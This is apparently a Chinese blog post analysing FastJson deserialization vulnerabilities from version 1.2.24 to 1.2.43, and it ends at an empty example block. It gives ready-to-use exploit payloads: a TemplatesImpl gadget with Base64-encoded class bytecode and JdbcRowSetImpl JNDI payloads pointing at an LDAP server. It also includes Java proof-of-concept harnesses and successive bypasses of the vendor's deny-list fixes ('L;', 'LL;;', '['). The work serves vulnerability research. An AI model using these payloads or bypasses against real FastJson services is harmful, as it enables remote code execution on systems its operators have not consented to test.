FastJson 反序列化初探

荒废了好久,remake 了。

前置

FastJson 在创建一个类实例时会通过反射调用类中特殊的 Getter/Setter 方法。

Getter 方法

  • 方法名长度大于 4

  • 不是静态方法。

  • 其方法名以 get 开头,第 4 位是大写,类似驼峰命名。

  • 方法不能有参数传递。

  • 属性继承自 Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong

  • 没有与之对应的 set 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// com.alibaba.fastjson.util.JavaBeanInfo
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
// ...
for (Method method : clazz.getMethods()) { // getter methods
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}

if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {
String propertyName;

JSONField annotation = method.getAnnotation(JSONField.class);
if (annotation != null && annotation.deserialize()) {
continue;
}

if (annotation != null && annotation.name().length() > 0) {
propertyName = annotation.name();
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}

FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) {
continue;
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
}
}
}
return new JavaBeanInfo(clazz, builderClass, defaultConstructor, null, null, buildMethod, jsonType, fieldList);
}

Setter 方法

  • 方法名长度大于 4
  • 不是静态方法。
  • 返回类型为 Void 或者当前类。
  • 方法只有一个参数传递。
  • 其方法名以 set 开头,第 4 位是大写,类似驼峰命名。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// com.alibaba.fastjson.util.JavaBeanInfo
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
// ...
for (Method method : methods) { //
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

// support builder set
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}

JSONField annotation = method.getAnnotation(JSONField.class);

if (annotation == null) {
annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
}

if (annotation != null) {
if (!annotation.deserialize()) {
continue;
}

ordinal = annotation.ordinal();
serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
parserFeatures = Feature.of(annotation.parseFeatures());

if (annotation.name().length() != 0) {
String propertyName = annotation.name();
add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, null, null));
continue;
}
}

if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
continue;
}

char c3 = methodName.charAt(3);

String propertyName;
if (Character.isUpperCase(c3) //
|| c3 > 512 // for unicode method name
) {
if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
continue;
}

// ...
}
// ...
}

序列化

在反序列化中,主要使用 JSON.parse()JSON.parseObject() 方法。

这几个方法在反序列化的时候,会调用反序列化目标类中的 construct/get/set/is 方法。如果这些方法中有危险操作,则能完成攻击。

JSON.parseObject(str, Object.class)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.alibaba.fastjson.JSON;

import java.util.concurrent.atomic.AtomicInteger;

public class User {
private String name;
private AtomicInteger age;

public User() {
System.out.println("no parameter construct");
}

public static void main(String[] args) {
String jsonString = "{\"@type\":\"User\",\"age\":18,\"name\":\"south\"}";
Object user = JSON.parseObject(jsonString, Object.class);
}

public String getName() {
System.out.println("get name");
return name;
}

public void setName(String name) {
System.out.println("set name");
this.name = name;
}

public AtomicInteger getAge() {
System.out.println("get age");
return age;
}
}

// no parameter construct
// get age
// set name

在指定了目标类后,反序列化会调用当中的 set 方法和特殊 getter 方法。

JSON.parseObject(str)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.alibaba.fastjson.JSON;

import java.util.concurrent.atomic.AtomicInteger;

public class User {
private String name;
private AtomicInteger age;

public User() {
System.out.println("no parameter construct");
}

public static void main(String[] args) {
String jsonString = "{\"@type\":\"User\",\"age\":18,\"name\":\"south\"}";
Object user = JSON.parseObject(jsonString);
}

public String getName() {
System.out.println("get name");
return name;
}

public void setName(String name) {
System.out.println("set name");
this.name = name;
}

public AtomicInteger getAge() {
System.out.println("get age");
return age;
}

public void setAge(AtomicInteger age) {
System.out.println("set age");
this.age = age;
}
}
// no parameter construct
// set age
// set name
// get age
// get name

而不指定目标类时,会调用全部的 get/set/construct 方法,而如果存在特殊 getter 方法,则原本调用 set 方法的地方会调用 get 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.alibaba.fastjson.JSON;

import java.util.concurrent.atomic.AtomicInteger;

public class User {
private String name;
private AtomicInteger age;

public User() {
System.out.println("no parameter construct");
}

public static void main(String[] args) {
String jsonString = "{\"@type\":\"User\",\"age\":18,\"name\":\"south\"}";
Object user = JSON.parseObject(jsonString);
}

public String getName() {
System.out.println("get name");
return name;
}

public void setName(String name) {
System.out.println("set name");
this.name = name;
}

public AtomicInteger getAge() {
System.out.println("get age");
return age;
}
}
// no parameter construct
// get age
// set name
// get age
// get name

JSON.parse(str)

JSON.parseObject(str, Object.class),不同之处在于会调解析字符串中 @type 指定的类。

AutoType 机制

若一个类中包含了一个接口/抽象类,则在使用 FastJson 进行对其进行序列化的时候,子类型会被抹去,只保留抽象类接口的类型,因此反序列化时无法拿到原始类型。

AutoType,可以在序列化的时候,把原始类型通过 SerializerFeature.WriteClassName 进行标记。

1
2
3
4
5
6
7
public static void main(String[] args) {
System.out.println(JSON.toJSONString(new User()));
System.out.println(JSON.toJSONString(new User(), SerializerFeature.WriteClassName));
}

// {"age":18,"name":"south"}
// {"@type":"User","age":18,"name":"south"}

由此,Json 字符串中多出了一个 @type 字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。

即在对 Json 字符串解析的时候,会把字符串反序列化成读取到的 @type 字段的类,并调用这个类的 setter 方法。

因此在处理 Json 对象的时候,未对 @type 字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 RMI 主机,通过其中的恶意类执行代码。

SupportNonPublicField

如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。

Base64

FastJson 在反序列化时,如果 Field 类型为 byte[],将会调用 com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 Base64 解码,对应的,在序列化时也会进行 Base64 编码。

smartMatch

FastJson 在为类属性寻找 getter/setter 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch 方法,会忽略 "_""-" 字符串。

例如字段名为 _a_g_e_getter 方法为 getAgeFastJson 也可以找到,在 1.2.36 版本及后续版本还可以支持同时组合混淆。

漏洞分析

1.2.24

简介

FastJson <= 1.2.24 均生效。

反序列化漏洞首曝。

TemplatesImpl

分析

调用关系如下。

首先要关注的是 newInstance 方法,可以看到,TemplatesImpl 链中的 getTransletInstance 方法涉及到相关操作,12 行处 _class_transletIndex 下标进行了实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}

查找调用关系,可以发现 newTransformer 方法在第 7 行调用了 getTransletInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

继续跟进查看调用关系,发现 getOutputProperties 方法满足上文介绍的 Getter 方法。

getOutputProperties 在第 4 行调用 newTransformer

1
2
3
4
5
6
7
8
9
// TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

确认 getOutputProperties_outputPropertiesgetter 方法,而 _outputPropertiesTemplatesImpl 链的成员变量。

1
private Properties _outputProperties;

确定了调用链的前段,接下来还需要寻找 _class 在何处可控,继续跟进,发现 _classreadObjectconstructiondefineTransletClasses 等方法中均有赋值调用。

回过头看一开始的 getTransletInstance 方法,发现在第 7 行处,满足 _class 为空即可调用 defineTransletClasses,同时要求 _name 不为空。

1
2
3
4
5
6
7
8
9
10
// TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();
}
// ....
}

而在 defineTransletClasses 中,第 5 行要求 _bytecodes 不为空,然后第 19loader.defineClass 加载 _bytecodes

然后第 23 行判断如果 _class[i] 的父类是 ABSTRACT_TRANSLET,则有 _transletIndex = i

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
// ...
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
// ...
}
// ...
}

最后回到 getTransletInstance 方法,此时第 12_transletIndex 为上文中 _class[i] 的下标,因此 _bytecodes 得以 newInstance 实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
// ...
}
// ...
}

额外的要求

实际上在 defineTransletClasses 方法中,对 _tfactory 也同样有着要求,13 行处调用了 getExternalExtensionsMap 方法,这是 TransformerFactoryImpl 类的实现方法,也是 _tfactory 的变量类型,因此此处如果为空,则会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
// ...
}

但是实际上可以传递空对象 {},因为 Json{} 表示 object,因此得以进入 deserialze 方法,在第 8 行出判定 object 为空,然后调用 createInstance 方法根据设定的变量类型 TransformerFactoryImpl 创建一个新的对象,从而执行上文的 getExternalExtensionsMap 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
protected <T> T deserialze(DefaultJSONParser parser, //
Type type, //
Object fieldName, //
Object object, //
int features) {
// ...
if (object == null) {
if (fieldValues == null) {
object = createInstance(parser, type);
if (childContext == null) {
childContext = parser.setContext(context, object, fieldName);
}
return (T) object;
}
// ...
}
// ...
}

另外,_bytecodes 在反序列化的时候,会经由 deserialze 方法在第 5 行调用 bytesValue

1
2
3
4
5
6
7
8
9
10
// ObjectArrayCodec (com.alibaba.fastjson.serializer)
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
// ...
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
// ...
}

bytesValue 做了 Base64 解码,因此对于传入的 _bytecodes 需要经 Base64 编码。

1
2
3
public byte[] bytesValue() {
return IOUtils.decodeBase64(buf, np + 1, sp);
}

总结

_bytecodes 需要是一个 Base64 编码的字节码数组,这样才可以在 defineTransletClasses 方法的 for 循环中被赋值,然后在 getTransletInstance 方法中被 newInstance 方法执行恶意代码。

_name 不能为空,_tfactory 需要是空 object,**_outputProperties** 需要触发 getOutputProperties 因此同样需要是空 object

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQAHAEABFRlc3QHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAcBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABBqYXZhL2xhbmcvU3lzdGVtBwAMAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAAOAA8JAA0AEAgAAQEAE2phdmEvaW8vUHJpbnRTdHJlYW0HABMBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAVABYKABQAFwEABjxpbml0PgwAGQAKCgAIABoAIQACAAgAAAAAAAIACAAJAAoAAQALAAAAFQACAAAAAAAJsgAREhK2ABixAAAAAAABABkACgABAAsAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAG"],
"_name": "name",
"_tfactory": {},
"_outputProperties": {},
}

例子

SupportNonPublicField 的开启条件在上文有提到,是当目标类中私有变量没有 setter 方法,但反序列化时仍想给这个变量赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\"yv66vgAAADQAHAEABFRlc3QHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAcBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABBqYXZhL2xhbmcvU3lzdGVtBwAMAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAAOAA8JAA0AEAgAAQEAE2phdmEvaW8vUHJpbnRTdHJlYW0HABMBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAVABYKABQAFwEABjxpbml0PgwAGQAKCgAIABoAIQACAAgAAAAAAAIACAAJAAoAAQALAAAAFQACAAAAAAAJsgAREhK2ABixAAAAAAABABkACgABAAsAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAG\"],\n" +
" \"_name\": \"name\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {},\n" +
"}";

Object user = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
System.out.println(user);
}
}

JdbcRowSetImpl

分析

这是一个 JNDI 注入链,对于 JNDI 注入来说,关键点在于 javax.naming.InitialContext#lookup 参数可控。

connect 方法调用了 lookup,参数是 dataSourceName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// JdbcRowSetImpl (com.sun.rowset)
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

查找引用,发现 setAutoCommit 中存在调用关系,且该方法符合 Setter 方法命名规范。

setAutoCommit 方法在 conn 为空时,调用 connect 方法。

1
2
3
4
5
6
7
8
9
// JdbcRowSetImpl (com.sun.rowset)
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

总结

dataSourceNameJNDI 注入地址,autoCommit 给一个值触发 setAutoCommit

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" +
" \"autoCommit\": true\n" +
"}";

Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.25 对漏洞进行了修复,引入了 checkAutoType 机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而开启 AutoType 后,有内置黑名单来实现反序列化类的过滤,同时FastJson 也提供了添加黑名单的接口。

1.2.25

简介

1.2.25 <= FastJson <= 1.2.41 均生效。

引入了 checkAutoType 机制,默认关闭,使用特殊类名绕过,需要开启 AutoTypeSupportSupportNonPublicField

分析

若开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。

若未开启 autoType,则是先使用黑名单匹配,再使用白名单匹配和加载。如果反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// ParserConfig (com.alibaba.fastjson.parser)
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// ...
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
// ...
}

loadClass 方法在加载目标类之前,为了兼容带有描述符的类名,在第 14 行 和 第 19 行使用了递归调用来处理描述符中的 [、L、; 字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// TypeUtils (com.alibaba.fastjson.util)
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
// ...
}

因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。

总结

开启 autoType 的时候,可以在类名的首尾加上 L; 来绕过。

1
2
3
4
5
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\",\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" +
" \"autoCommit\": true\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.42 对漏洞进行了修复,将黑白名单换成了哈希值,并使用删掉了类名头尾的 L;

1.2.42

简介

1.2.25 <= FastJson <= 1.2.42 均生效。

黑白名单换成了哈希,使用双写 L; 绕过,需要开启 AutoTypeSupport

分析

虽然将黑白名单换成了哈希值,但是很遗憾,可以碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// ParserConfig (com.alibaba.fastjson.parser)
{
denyHashCodes = new long[]{
-8720046426850100497L,
-8109300701639721088L,
-7966123100503199569L,
-7766605818834748097L,
-6835437086156813536L,
-4837536971810737970L,
-4082057040235125754L,
-2364987994247679115L,
-1872417015366588117L,
-254670111376247151L,
-190281065685395680L,
33238344207745342L,
313864100207897507L,
1203232727967308606L,
1502845958873959152L,
3547627781654598988L,
3730752432285826863L,
3794316665763266033L,
4147696707147271408L,
5347909877633654828L,
5450448828334921485L,
5751393439502795295L,
5944107969236155580L,
6742705432718011780L,
7179336928365889465L,
7442624256860549330L,
8838294710098435315L
};

long[] hashCodes = new long[AUTO_TYPE_ACCEPT_LIST.length];
for (int i = 0; i < AUTO_TYPE_ACCEPT_LIST.length; i++) {
hashCodes[i] = TypeUtils.fnv1a_64(AUTO_TYPE_ACCEPT_LIST[i]);
}
Arrays.sort(hashCodes);
acceptHashCodes = hashCodes;
}

此外在 checkAutoType 中对 1.2.25 的绕过做的修复也仅是删掉头尾的 L;,那么绕过很简单,双写即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
// ParserConfig (com.alibaba.fastjson.parser)
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ...
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
// ...
}

总结

Payload 如下。

1
2
3
4
5
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"LLcom.sun.rowset.JdbcRowSetImpl;;\",\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" +
" \"autoCommit\": true\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.43 对漏洞进行了修复BanLL 开头。

1.2.43

简介

1.2.25 <= FastJson <= 1.2.43 均生效。

使用 [ 绕过,需要开启 AutoTypeSupport

分析

修复方案是判断开头为 LL 的时候报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
// ParserConfig (com.alibaba.fastjson.parser)
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ...
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// ...
}

但是没有关系,之前提到的 [ 绕过还没用,添上一个看看。

1
2
3
4
5
{
"@type": "[com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}

给了一个报错。

1
2
3
4
5
6
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 48, json : {
"@type": "[com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}
at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:675)

跟进报错点查看,发现第 9 行处需要一个 [ 读入。

1
2
3
4
5
6
7
8
9
10
11
12
13
// DefaultJSONParser (com.alibaba.fastjson.parser)
public void parseArray(Type type, Collection array, Object fieldName) {
int token = lexer.token();
if (token == JSONToken.SET || token == JSONToken.TREE_SET) {
lexer.nextToken();
token = lexer.token();
}

if (token != JSONToken.LBRACKET) {
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + lexer.info());
}
// ...
}

因此改进。

1
2
3
4
5
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[,
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}

继续报错。

1
2
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 54, fastjson-version 1.2.43
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)

跟进报错点查看,发现第 9 行处需要一个 { 读入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
protected <T> T deserialze(DefaultJSONParser parser, //
Type type, //
Object fieldName, //
Object object, //
int features, //
int[] setFlags) {
//...
StringBuffer buf = (new StringBuffer()) //
.append("syntax error, expect {, actual ") //
.append(lexer.tokenName()) //
.append(", pos ") //
.append(lexer.pos());

if (fieldName instanceof String) {
buf //
.append(", fieldName ") //
.append(fieldName);
}

buf.append(", fastjson-version ").append(JSON.VERSION);

throw new JSONException(buf.toString());
// ...
}

继续修改,发现满足条件。

1
2
3
4
5
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}

总结

使用 [ 绕过,分别根据报错补足字符就行。

1
2
3
4
5
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
